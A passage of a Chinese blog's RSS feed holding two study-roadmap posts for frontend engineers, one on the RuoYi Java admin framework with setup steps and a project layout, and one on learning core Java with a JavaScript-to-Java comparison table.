&lt;td&gt;定时任务&lt;/td&gt;
&lt;td&gt;Quartz 框架、任务调度、执行日志&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;十一&lt;/td&gt;
&lt;td&gt;代码生成器&lt;/td&gt;
&lt;td&gt;模板引擎、Velocity、自定义生成&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;十二&lt;/td&gt;
&lt;td&gt;系统监控&lt;/td&gt;
&lt;td&gt;Actuator、服务监控、缓存监控&lt;/td&gt;
&lt;td&gt;半天&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;阶段索引&lt;/h2&gt;
&lt;p&gt;下面是每个阶段对应的文章。链接是站内绝对路径，跟着 base &lt;code&gt;/blog&lt;/code&gt; 走：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/ruoyi-roadmap-01-env-setup/&quot;&gt;阶段一：项目概览与环境搭建&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/ruoyi-roadmap-02-springboot-basics/&quot;&gt;阶段二：Spring Boot 基础与项目结构&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/ruoyi-roadmap-03-mybatis-database/&quot;&gt;阶段三：MyBatis 与数据库操作&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/ruoyi-roadmap-04-shiro-security/&quot;&gt;阶段四：Shiro 权限框架&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/ruoyi-roadmap-05-user-management/&quot;&gt;阶段五：用户管理模块&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/ruoyi-roadmap-06-role-menu/&quot;&gt;阶段六：角色与菜单管理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/ruoyi-roadmap-07-dept-post/&quot;&gt;阶段七：部门与岗位管理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/ruoyi-roadmap-08-dict-config/&quot;&gt;阶段八：字典与参数管理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/ruoyi-roadmap-09-log-management/&quot;&gt;阶段九：日志管理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/ruoyi-roadmap-10-quartz-task/&quot;&gt;阶段十：定时任务&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/ruoyi-roadmap-11-code-generator/&quot;&gt;阶段十一：代码生成器&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/ruoyi-roadmap-12-system-monitor/&quot;&gt;阶段十二：系统监控&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;前端工程师的技术栈对照&lt;/h2&gt;
&lt;p&gt;学 RuoYi 之前，先把前端里熟悉的模式映射到 Java 后台：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;前端 (React/Vue)&lt;/th&gt;
&lt;th&gt;RuoYi (Java)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;项目结构&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;src/components/&lt;/code&gt;、&lt;code&gt;src/pages/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;src/main/java/com/ruoyi/&lt;/code&gt; 按模块分包&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;依赖管理&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;package.json&lt;/code&gt; + npm/pnpm&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pom.xml&lt;/code&gt; + Maven&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;路由&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;React Router / Vue Router&lt;/td&gt;
&lt;td&gt;Spring MVC &lt;code&gt;@RequestMapping&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;状态管理&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Redux / Vuex / Zustand&lt;/td&gt;
&lt;td&gt;Shiro Session + Redis 缓存&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;HTTP 请求&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;axios / fetch&lt;/td&gt;
&lt;td&gt;Spring &lt;code&gt;RestTemplate&lt;/code&gt; / MyBatis SQL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;表单验证&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Formik / VeeValidate&lt;/td&gt;
&lt;td&gt;Hibernate Validator &lt;code&gt;@Valid&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;权限控制&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;路由守卫 + 按钮级权限&lt;/td&gt;
&lt;td&gt;Shiro 注解 &lt;code&gt;@RequiresPermissions&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;组件复用&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;公共组件 / Hooks&lt;/td&gt;
&lt;td&gt;Service 层 / 工具类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;配置管理&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.env&lt;/code&gt; / &lt;code&gt;config.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;application.yml&lt;/code&gt; / &lt;code&gt;application-druid.yml&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;构建工具&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Vite / Webpack&lt;/td&gt;
&lt;td&gt;Maven / Gradle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;代码生成&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;plop / hygen&lt;/td&gt;
&lt;td&gt;RuoYi 代码生成器 (Velocity 模板)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
RuoYi 里最像前端的两个地方：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;代码生成器&lt;/strong&gt;——类似前端的脚手架，根据数据库表生成 CRUD 代码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;树形结构&lt;/strong&gt;——部门、菜单都是树形数据，和前端 Tree 组件逻辑一致&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;环境准备（一次性）&lt;/h2&gt;
&lt;p&gt;后续每篇文章里的代码都假设你已经完成下面这些准备：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 装 JDK 17+（推荐 Eclipse Temurin 或 Oracle JDK）
java -version
# openjdk version &quot;17.0.x&quot; ...

# 2. 装 Maven 3.6+
mvn -v
# Apache Maven 3.9.x

# 3. 装 MySQL 5.7+ 或 8.0+
mysql --version
# mysql Ver 8.0.x

# 4. 装 Redis（可选，用于缓存和 Session）
redis-server --version
# Redis server v=7.x

# 5. 装一个 IDE：IntelliJ IDEA Community 免费且开箱即用
#    Eclipse 也可以，但 IDEA 对 Spring Boot 支持更好
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;克隆项目&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 克隆 RuoYi 项目
git clone https://github.com/yangzongzhuan/RuoYi.git
cd RuoYi

# 导入数据库脚本
# sql/ry_20240629.sql 是主库脚本
# sql/quartz.sql 是定时任务脚本
mysql -u root -p &amp;lt; sql/ry_20240629.sql
mysql -u root -p &amp;lt; sql/quartz.sql
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;修改配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# src/main/resources/application-druid.yml
spring:
  datasource:
    druid:
      master:
        url: jdbc:mysql://localhost:3306/ry?useUnicode=true&amp;amp;characterEncoding=utf8&amp;amp;zeroDateTimeBehavior=convertToNull&amp;amp;useSSL=true&amp;amp;serverTimezone=GMT%2B8
        username: root
        password: your_password
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 启动项目
mvn spring-boot:run
# 或者直接在 IDEA 里运行 RuoYiApplication.java

# 访问 http://localhost:80
# 默认账号：admin / admin123
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;项目结构速览&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;RuoYi/
├── src/
│   ├── main/
│   │   ├── java/com/ruoyi/
│   │   │   ├── common/          # 公共模块（工具类、常量、异常）
│   │   │   ├── framework/       # 框架核心（Shiro、MyBatis、AOP）
│   │   │   ├── generator/       # 代码生成器
│   │   │   ├── quartz/          # 定时任务
│   │   │   ├── system/          # 系统模块（用户、角色、菜单、部门）
│   │   │   └── web/             # Web 层（Controller）
│   │   └── resources/
│   │       ├── mapper/          # MyBatis XML 映射文件
│   │       ├── static/          # 静态资源（前端页面）
│   │       ├── templates/       # Thymeleaf 模板
│   │       └── application.yml  # 配置文件
│   └── test/                    # 测试代码
├── sql/                         # 数据库脚本
├── pom.xml                      # Maven 配置
└── README.md                    # 项目说明
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;如何使用这个系列复习&lt;/h2&gt;
&lt;p&gt;写这个系列时特意做了三件事，方便日后回来&quot;扫一眼就想起来&quot;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;每篇文章都有&quot;复习卡片&quot;小节&lt;/strong&gt;，把关键概念压缩成几行代码或一张表，不用重读正文也能回忆起要点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;每个功能都配项目真实代码&lt;/strong&gt;，代码块都标注了文件路径，可以直接在 IDEA 里定位。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;每个阶段都有架构图或流程图&lt;/strong&gt;，帮助理解模块之间的关系。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;推荐的复习节奏：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;第一次学&lt;/strong&gt;：按阶段顺序读，每篇结束在 IDEA 里把对应模块的代码翻一遍。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一周后&lt;/strong&gt;：只看每篇的&quot;复习卡片&quot;和架构图，回忆不起来的再翻正文。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一个月后&lt;/strong&gt;：把整个系列当作速查手册，遇到具体功能问题直接搜文章内的锚点。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
光读不写等于没学。每个阶段建议配一个小练习：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;阶段一到四：跑通项目，理解启动流程&lt;/li&gt;
&lt;li&gt;阶段五到八：给某个模块加一个新字段（如用户加&quot;手机号&quot;）&lt;/li&gt;
&lt;li&gt;阶段九到十二：用代码生成器生成一个新模块，并集成到系统中&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;参考资源&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;RuoYi 官方文档：http://doc.ruoyi.vip&lt;/li&gt;
&lt;li&gt;RuoYi 在线演示：http://ruoyi.vip（admin/admin123）&lt;/li&gt;
&lt;li&gt;Spring Boot 官方文档：https://spring.io/projects/spring-boot&lt;/li&gt;
&lt;li&gt;MyBatis 官方文档：https://mybatis.org/mybatis-3/&lt;/li&gt;
&lt;li&gt;Shiro 官方文档：https://shiro.apache.org/&lt;/li&gt;
&lt;li&gt;GitHub 项目地址：https://github.com/yangzongzhuan/RuoYi&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一篇从最基础的项目结构和环境搭建开始，把&quot;RuoYi 是怎么跑起来的&quot;讲清楚。&lt;/p&gt;
</content:encoded></item><item><title>Java 学习路线总览：前端工程师的重学笔记</title><link>http://117.72.32.87/blog/posts/java-roadmap-00-overview/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/java-roadmap-00-overview/</guid><description>一个前端工程师从 0 开始学 Java 的分阶段路线图，每阶段一篇带代码片段的笔记，便于反复回来复习。</description><pubDate>Sat, 05 Sep 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;写了几年 JavaScript/TypeScript，最近因为工作要接触后端服务，决定系统地把 Java 学一遍。这个系列不是&quot;Java 从入门到精通&quot;式的教程，而是一份&lt;strong&gt;前端工程师视角&lt;/strong&gt;的重学笔记：每个知识点都会尽量对照 JS 里已经熟悉的心智模型，配上可以直接跑的最小代码片段，方便日后回来快速回忆。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
阅读顺序建议按下面的阶段编号从头到尾走一遍；已经熟悉的阶段可以直接跳到对应文章当作速查表使用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;学习路线图&lt;/h2&gt;
&lt;p&gt;整个路线拆成 &lt;strong&gt;11 个阶段&lt;/strong&gt;，前 4 个阶段是语法基础，中间 4 个是面向对象与常用 API，最后 3 个进入现代 Java 的工程实践：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;主题&lt;/th&gt;
&lt;th&gt;关键概念&lt;/th&gt;
&lt;th&gt;预计投入&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;一&lt;/td&gt;
&lt;td&gt;环境与第一个程序&lt;/td&gt;
&lt;td&gt;JDK / JRE / JVM、&lt;code&gt;javac&lt;/code&gt;、&lt;code&gt;java&lt;/code&gt;、classpath&lt;/td&gt;
&lt;td&gt;半天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;二&lt;/td&gt;
&lt;td&gt;变量与数据类型&lt;/td&gt;
&lt;td&gt;基本类型、包装类、类型转换、&lt;code&gt;String&lt;/code&gt; 不可变&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;三&lt;/td&gt;
&lt;td&gt;运算符与流程控制&lt;/td&gt;
&lt;td&gt;&lt;code&gt;switch&lt;/code&gt; 表达式、增强 for、&lt;code&gt;break/continue&lt;/code&gt; 标签&lt;/td&gt;
&lt;td&gt;半天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;四&lt;/td&gt;
&lt;td&gt;数组与字符串&lt;/td&gt;
&lt;td&gt;一维/二维数组、&lt;code&gt;StringBuilder&lt;/code&gt;、正则&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;五&lt;/td&gt;
&lt;td&gt;类与对象&lt;/td&gt;
&lt;td&gt;构造器、&lt;code&gt;this&lt;/code&gt;、&lt;code&gt;static&lt;/code&gt;、包与访问修饰符&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;六&lt;/td&gt;
&lt;td&gt;继承与多态&lt;/td&gt;
&lt;td&gt;&lt;code&gt;extends&lt;/code&gt;、&lt;code&gt;super&lt;/code&gt;、重写、向上转型、&lt;code&gt;Object&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;七&lt;/td&gt;
&lt;td&gt;接口与抽象类&lt;/td&gt;
&lt;td&gt;&lt;code&gt;interface&lt;/code&gt;、&lt;code&gt;abstract&lt;/code&gt;、默认方法、&lt;code&gt;final&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;八&lt;/td&gt;
&lt;td&gt;集合框架&lt;/td&gt;
&lt;td&gt;&lt;code&gt;List&lt;/code&gt; / &lt;code&gt;Set&lt;/code&gt; / &lt;code&gt;Map&lt;/code&gt;、&lt;code&gt;ArrayList&lt;/code&gt; vs &lt;code&gt;LinkedList&lt;/code&gt;、&lt;code&gt;HashMap&lt;/code&gt; 原理&lt;/td&gt;
&lt;td&gt;2 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;九&lt;/td&gt;
&lt;td&gt;异常与泛型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;try/catch/finally&lt;/code&gt;、&lt;code&gt;throws&lt;/code&gt;、泛型类/方法/通配符&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;十&lt;/td&gt;
&lt;td&gt;Lambda 与 Stream&lt;/td&gt;
&lt;td&gt;函数式接口、&lt;code&gt;Stream&lt;/code&gt; 三段式、&lt;code&gt;Optional&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;十一&lt;/td&gt;
&lt;td&gt;多线程入门&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Thread&lt;/code&gt; / &lt;code&gt;Runnable&lt;/code&gt;、线程池、&lt;code&gt;synchronized&lt;/code&gt;、&lt;code&gt;volatile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2 天&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;阶段索引&lt;/h2&gt;
&lt;p&gt;下面是每个阶段对应的文章。链接是站内绝对路径，跟着 base &lt;code&gt;/blog&lt;/code&gt; 走：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/java-roadmap-01-env-and-hello/&quot;&gt;阶段一：JDK、JRE、JVM 与第一个 Java 程序&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/java-roadmap-02-variables-and-types/&quot;&gt;阶段二：变量、数据类型与类型系统&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/java-roadmap-03-operators-and-control-flow/&quot;&gt;阶段三：运算符与流程控制&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/java-roadmap-04-arrays-and-strings/&quot;&gt;阶段四：数组与字符串&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/java-roadmap-05-oop-class-and-object/&quot;&gt;阶段五：面向对象（一）——类与对象&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/java-roadmap-06-oop-inheritance-polymorphism/&quot;&gt;阶段六：面向对象（二）——继承与多态&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/java-roadmap-07-interface-abstract/&quot;&gt;阶段七：接口、抽象类与静态成员&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/java-roadmap-08-collections/&quot;&gt;阶段八：集合框架 List / Set / Map&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/java-roadmap-09-exception-generics/&quot;&gt;阶段九：异常处理与泛型&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/java-roadmap-10-lambda-stream/&quot;&gt;阶段十：Lambda 与 Stream API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/posts/java-roadmap-11-thread-basics/&quot;&gt;阶段十一：多线程入门&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;前端工程师的心智模型对照&lt;/h2&gt;
&lt;p&gt;学 Java 之前，先把 JS 里几个&quot;想当然&quot;的习惯掰一掰：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;JavaScript&lt;/th&gt;
&lt;th&gt;Java&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;类型系统&lt;/td&gt;
&lt;td&gt;动态类型，运行时才知道&lt;/td&gt;
&lt;td&gt;静态类型，编译期就检查&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;变量声明&lt;/td&gt;
&lt;td&gt;&lt;code&gt;let x = 1&lt;/code&gt;（类型自动推断为 &lt;code&gt;number&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;int x = 1;&lt;/code&gt;（类型必须显式或用 &lt;code&gt;var&lt;/code&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数字类型&lt;/td&gt;
&lt;td&gt;只有 &lt;code&gt;number&lt;/code&gt;（IEEE 754 双精度）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;byte&lt;/code&gt; / &lt;code&gt;short&lt;/code&gt; / &lt;code&gt;int&lt;/code&gt; / &lt;code&gt;long&lt;/code&gt; / &lt;code&gt;float&lt;/code&gt; / &lt;code&gt;double&lt;/code&gt; 六种&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;空值&lt;/td&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; 与 &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;只有 &lt;code&gt;null&lt;/code&gt;；基本类型不能为 &lt;code&gt;null&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;相等判断&lt;/td&gt;
&lt;td&gt;&lt;code&gt;==&lt;/code&gt; 会做类型转换，&lt;code&gt;===&lt;/code&gt; 严格&lt;/td&gt;
&lt;td&gt;&lt;code&gt;==&lt;/code&gt; 比较值（基本类型）或引用（对象），&lt;code&gt;.equals()&lt;/code&gt; 才是内容相等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;字符串&lt;/td&gt;
&lt;td&gt;不可变，模板字符串 &lt;code&gt;`hi ${name}`&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;不可变，拼接用 &lt;code&gt;+&lt;/code&gt; 或 &lt;code&gt;StringBuilder&lt;/code&gt;，格式化用 &lt;code&gt;String.format&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数组&lt;/td&gt;
&lt;td&gt;动态长度、可混合类型&lt;/td&gt;
&lt;td&gt;固定长度、同一类型；动态用 &lt;code&gt;ArrayList&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;对象字面量&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{ name: &apos;Tom&apos; }&lt;/code&gt; 随手就来&lt;/td&gt;
&lt;td&gt;必须先有 &lt;code&gt;class&lt;/code&gt;，再 &lt;code&gt;new&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;函数&lt;/td&gt;
&lt;td&gt;一等公民，随处可传&lt;/td&gt;
&lt;td&gt;必须先属于类；一等公民要靠函数式接口 + Lambda&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;模块&lt;/td&gt;
&lt;td&gt;ES Module &lt;code&gt;import / export&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;package&lt;/code&gt; + &lt;code&gt;import&lt;/code&gt;，一个 &lt;code&gt;.java&lt;/code&gt; 文件一个 public 类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;运行环境&lt;/td&gt;
&lt;td&gt;浏览器 / Node.js 直接解释&lt;/td&gt;
&lt;td&gt;编译成字节码，由 JVM 解释或 JIT 执行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;依赖管理&lt;/td&gt;
&lt;td&gt;npm / pnpm&lt;/td&gt;
&lt;td&gt;Maven / Gradle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;空安全&lt;/td&gt;
&lt;td&gt;&lt;code&gt;?.&lt;/code&gt;、&lt;code&gt;??&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Optional&amp;lt;T&amp;gt;&lt;/code&gt;、&lt;code&gt;Objects.requireNonNull&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
Java 里最反直觉的两点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;String a = &quot;hi&quot;; String b = &quot;hi&quot;; a == b&lt;/code&gt; 可能为 &lt;code&gt;true&lt;/code&gt;（字符串常量池），但&lt;strong&gt;永远&lt;/strong&gt;用 &lt;code&gt;.equals()&lt;/code&gt; 比较字符串内容。&lt;/li&gt;
&lt;li&gt;对象数组 &lt;code&gt;new int[3]&lt;/code&gt; 会初始化为 &lt;code&gt;0&lt;/code&gt;，但 &lt;code&gt;new String[3]&lt;/code&gt; 里全是 &lt;code&gt;null&lt;/code&gt;——引用类型默认值是 &lt;code&gt;null&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;环境准备（一次性）&lt;/h2&gt;
&lt;p&gt;后续每篇文章里的代码都假设你已经完成下面这三件事：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 装 JDK 21（LTS 版本，Oracle JDK 或 Eclipse Temurin 都行）
java -version
# openjdk version &quot;21.0.x&quot; ...

# 2. 装一个 IDE：IntelliJ IDEA Community 免费且开箱即用
#    VS Code + Extension Pack for Java 也够用

# 3. 装 Maven（后面项目结构那篇会用到）
mvn -v
# Apache Maven 3.9.x
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Windows 用户在系统环境变量里加 &lt;code&gt;JAVA_HOME&lt;/code&gt; 指向 JDK 安装目录，把 &lt;code&gt;%JAVA_HOME%\bin&lt;/code&gt; 加进 &lt;code&gt;PATH&lt;/code&gt;。macOS/Linux 用 &lt;code&gt;sdkman&lt;/code&gt; 或包管理器安装更省心。&lt;/p&gt;
&lt;h2&gt;如何使用这个系列复习&lt;/h2&gt;
&lt;p&gt;写这个系列时特意做了两件事，方便日后回来&quot;扫一眼就想起来&quot;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;每篇文章都有&quot;复习卡片&quot;小节&lt;/strong&gt;，把关键概念压缩成几行代码或一张表，不用重读正文也能回忆起要点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;每个新概念都配可运行的最小示例&lt;/strong&gt;，代码块都能直接复制到 IDEA 或 &lt;a href=&quot;https://dev.java/learn/jshell/&quot;&gt;jshell&lt;/a&gt; 里跑起来。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;推荐的复习节奏：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;第一次学&lt;/strong&gt;：按阶段顺序读，每篇结束在 IDE 里把示例敲一遍。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一周后&lt;/strong&gt;：只看每篇的&quot;复习卡片&quot;和代码块标题，回忆不起来的再翻正文。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一个月后&lt;/strong&gt;：把整个系列当作速查手册，遇到具体语法问题直接搜文章内的锚点。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
光读不写等于没学。每个阶段建议配一个小练习：
阶段一到四写命令行小程序（计算器、猜数字），阶段五到七写一个图书管理的 OOP 模型，阶段八到十重构前面的代码用集合和 Stream，阶段十一给图书管理加并发借阅。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;参考资源&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;官方教程：&lt;a href=&quot;https://dev.java/learn/&quot;&gt;https://dev.java/learn/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Oracle 官方文档：&lt;a href=&quot;https://docs.oracle.com/en/java/javase/21/&quot;&gt;https://docs.oracle.com/en/java/javase/21/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;《Java 核心技术·卷 I》（Cay Horstmann）——当作字典查&lt;/li&gt;
&lt;li&gt;《Effective Java》（Joshua Bloch）——学到阶段七之后再读&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一篇从最基础的 JDK / JRE / JVM 三兄弟开始，把&quot;Java 代码是怎么跑起来的&quot;讲清楚。&lt;/p&gt;
